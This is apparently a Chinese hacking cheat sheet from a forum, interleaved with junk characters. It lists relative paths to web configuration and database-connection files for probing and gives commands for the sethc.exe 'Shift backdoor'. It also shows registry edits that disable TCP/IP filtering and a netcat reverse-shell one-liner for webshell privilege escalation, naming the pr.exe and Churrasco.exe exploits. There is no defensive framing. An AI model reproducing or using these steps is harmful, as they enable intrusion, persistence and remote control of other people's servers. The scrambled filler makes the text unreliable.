9 L0 l! w; w5 x* v9 dc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
- P1 ]8 x; U8 M: c
) i9 G. f% ^7 u% J( T6 |3.网站相对路径:
- O/ s( y, A: J: q
0 l1 T6 @; @2 N2 G1 G& s/config.php
../../config.php
2 ?$ p% i4 e. ]9 g: Q) N1 }; h../config.php
* }. [: U. `" C, V* {6 L5 `) Y../../../config.php
/config.inc.php
./config.inc.php
' \' c- F- s: t8 w( k6 H* b../../config.inc.php
../config.inc.php
# v2 ?  l* F2 c9 y4 q../../../config.inc.php
! Y1 [+ }; M3 l: N& ~# J0 C+ R. K/conn.php
./conn.php
../../conn.php
' w- v3 [0 z9 a! j2 R3 G+ [$ ^../conn.php
9 [# a2 a# i& v( R. E$ Y../../../conn.php
/conn.asp
./conn.asp
7 w, J5 m; T" M4 j0 {& h../../conn.asp
../conn.asp
" Y: B, h" ]" R$ _2 ^( }. c../../../conn.asp
/config.inc.php
$ a/ y! A# y* h8 ^# z./config.inc.php
../../config.inc.php
* I) `0 H) T% t6 M, L9 E! q../config.inc.php
../../../config.inc.php
( O4 \5 _# r- H/config/config.php
../../config/config.php
0 G6 u: w: u: K$ r$ G../config/config.php
0 U% J; v1 Z9 A6 S( M9 f* p../../../config/config.php
% Q# A  |% Q9 u/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
, W: Y. o2 `3 h4 M) C../config/config.inc.php
../../../config/config.inc.php
5 {. N5 S! Y2 V/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
7 K+ U# N' ]  ~" n5 G0 m/config/conn.asp
7 t/ F# c% X5 ^: L* p2 P6 C./config/conn.asp
2 u  u4 D# X- k3 Y8 G4 {2 u( L3 U../../config/conn.asp
  R2 K7 m  r5 k../config/conn.asp
../../../config/conn.asp
. _- A1 l' p7 m! z, c) ]7 [5 k2 P/config/config.inc.php
% V( W) @' ~5 I% q  B7 P./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
* H' e* ]* m+ x$ W' W7 F/data/config.php
& T% A; c3 k' x../../data/config.php
../data/config.php
, h- d. `8 K% a# Q, L; h../../../data/config.php
: a; [* o+ v* f0 t. \/data/config.inc.php
: m! }4 @9 Q2 q1 a./data/config.inc.php
2 d! @# L* s3 P/ s& i../../data/config.inc.php
% B' ^6 {/ K# M3 q( T4 W- o../data/config.inc.php
  s% R$ Q) R' z5 k" U../../../data/config.inc.php
$ \& b& C. ]* @1 S0 E5 d! h/data/conn.php
, Q; [* p' B! Y9 X/ }$ x1 c5 k, R./data/conn.php
0 w, ~/ u) |; X0 S7 I../../data/conn.php
+ w; h2 U; B6 u# Q/ @../data/conn.php
+ Z$ h3 Q: `" j- z% f5 E3 Z# g1 X../../../data/conn.php
1 N. y& O; J# Z% A/ e# ]/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
, x( i! v8 P0 l7 J1 N../../../data/conn.asp
$ Q. T& _; X1 |! I& R  `/data/config.inc.php
./data/config.inc.php
+ g8 u. I* ^. J../../data/config.inc.php
/ a+ W! s7 o) s" A+ Y../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
. f6 K1 h+ I9 a0 O../include/config.php
../../../include/config.php
/include/config.inc.php
, Z/ x% y: W: @  H2 v3 \4 j" c5 n./include/config.inc.php
' r3 w0 q2 M+ f6 r- g../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/ W- G' }0 ]/ K3 |/include/conn.php
6 X! j* y" O3 {./include/conn.php
; A1 t2 a. R  P- t& _; R' B- L, P  F../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
2 d0 A) N  ?. G# t& B6 R5 F/include/config.inc.php
/ u0 o. i, e  k0 W/ e; E, ^8 \./include/config.inc.php
  t0 J$ e0 J3 i: C../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
; H: N4 |. {6 K; h) }  s8 Y1 H$ G../../inc/config.php
. n2 h+ N( Y0 c" z. }$ @../inc/config.php
$ ]0 ^3 a; z- D6 K5 V4 B$ s../../../inc/config.php
( w; o3 n- d1 B& l/inc/config.inc.php
./inc/config.inc.php
" I5 n8 }' w" Y../../inc/config.inc.php
../inc/config.inc.php
- r' X, O, R$ R1 L../../../inc/config.inc.php
/inc/conn.php
) n1 k" |0 `0 U/ q6 s6 n- o./inc/conn.php
../../inc/conn.php
../inc/conn.php
$ w2 z& T. P4 k3 E; T: F../../../inc/conn.php
. P7 ~2 P+ K: X. U- ?/inc/conn.asp
) u8 d8 m: C+ S" j# X8 `./inc/conn.asp
../../inc/conn.asp
2 b. g: P; S7 j' e' G../inc/conn.asp
../../../inc/conn.asp
; o$ c  x. S9 G- e  a2 h' X5 p/inc/config.inc.php
& ?% G0 L/ z4 l# t- {5 U7 h./inc/config.inc.php
( d1 g# }& }2 ~+ Q" e' d% k../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
/index.asp
& e1 h4 @) ^" D6 a% p) K3 P8 s./index.asp
: \! h& n2 ^) H/ A7 r0 Y" O' }  ?8 y../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

& I+ q4 N9 {2 ~: a  }" [　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
3 j6 I) r$ y2 v6 a1 s
3 x# T4 n; Y6 y& y　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
. c3 }$ B% s+ i6 W
1 d0 B# p" D+ a7 S　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
# }, R8 ~! y8 g6 }8 x7 u& d/ Z
　　attrib c:\windows\system32\sethc.exe +h +r +s
4 o4 f0 n0 J7 j+ |, ^
* b$ i0 c3 K' _　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
1 X1 _0 L. H: e2 [' f& I去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
: t# a( i: Z. l6 W' T/ Z, AHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
! ~" _, h' [( C# B; B* RHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ w1 O" O1 J$ m9 v: K命令来导出注册表项

4 d2 U, t) u0 Q然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

( r; T7 T/ P6 L8 }再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
$ A, V* J3 {$ ~$ [  v
webshell提权小技巧
+ p; r5 z+ O1 G( h* _$ mcmd路径:
: p  A% y2 x# n+ i2 sc:\windows\temp\cmd.exe
nc也在同目录下
8 L8 N1 C, i7 \4 c例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
' L- u! g/ D  I2 g. g通常都不会成功。

6 D) q+ `' H5 g$ Z2 n0 v/ @# P1 e而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
3 G3 t0 M; _1 c5 r却能成功。。
' Q! s8 ~+ K1 L& q/ {这个不是重点
& q4 ^, t- Z# f我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功